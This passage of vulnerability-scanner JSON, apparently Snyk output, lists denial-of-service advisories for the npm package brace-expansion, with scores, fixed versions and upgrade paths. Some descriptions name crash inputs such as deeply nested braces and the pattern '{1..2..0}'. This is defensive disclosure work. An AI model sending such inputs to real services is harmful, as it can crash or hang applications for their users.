"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the 